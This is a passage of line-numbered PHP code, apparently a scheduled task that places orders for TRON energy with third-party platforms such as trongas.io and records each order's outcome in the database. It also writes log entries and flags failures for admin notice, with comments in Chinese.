  606. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  607. continue;
  608. }else{
  609. $this->log('handleaienergyorder','提交地址:'.$v->wallet_addr.'。平台返回:'.json_encode($dlres));
  610. if((isset($dlres['code']) && $dlres['code'] == 10000 && $v1->platform_name == 4)){
  611. if($v1->platform_name == 4){
  612. $orderNo = $dlres['data']['orderId'];
  613. $use_trx = $dlres['data']['orderMoney'];
  614. }
  615. $save_data = [];
  616. $save_data['is_buy'] = 'N'; //下单成功
  617. $save_data['comments'] = 'SUCCESS '.$time.' 第三方平台下单,本次次数:'.$energy_bishu; //处理备注
  618. $save_data['is_notice'] = 'N';
  619. $save_data['total_buy_quantity'] = $v->max_buy_quantity;
  620. $save_data['last_buy_time'] = $time;
  621. $save_data['energy_platform_rid'] = $v1->rid;
  622. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  623. break; //跳出不轮询了
  624. }else{
  625. if($v1->platform_name == 4){
  626. $msg = ' 下单失败,接口返回:'.json_encode($dlres);
  627. }
  628. $errorMessage = $errorMessage."能量平台ID:".$v1->rid.$msg;
  629. $save_data = [];
  630. $save_data['comments'] = $time.$errorMessage;
  631. $save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $bishuModel->count()) ?'Y':$v->is_notice_admin;
  632. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  633. continue;
  634. }
  635. }
  636. }
  637. }else{
  638. $save_data = [];
  639. $save_data['comments'] = $time.' 无可用能量平台trongas.io,轮询失败'; //处理备注
  640. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  641. }
  642. }else{
  643. $save_data = [];
  644. $save_data['comments'] = $time.' 笔数不大于0,无需下单:'.$energy_bishu; //处理备注
  645. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  646. }
  647. }
  648. }
  649. }else{
  650. // $this->log('handleaienergyorder','----------没有数据----------');
  651. }
  652. }catch (\Exception $e){
  653. $this->log('handleaienergyorder','----------任务执行报错,请联系管理员。报错原因:----------'.$e->getMessage());
  654. }
  655. }
  656. /**
  657. * 记入日志
  658. * @param $log_title [日志路径]
  659. * @param $message [内容,不支持数组]
  660. * @param $remarks [备注]
  661. */
  662. protected function log($log_title,$message,$remarks='info'){
  663. Log::get($remarks,$log_title)->info($message);
  664. }
  665. }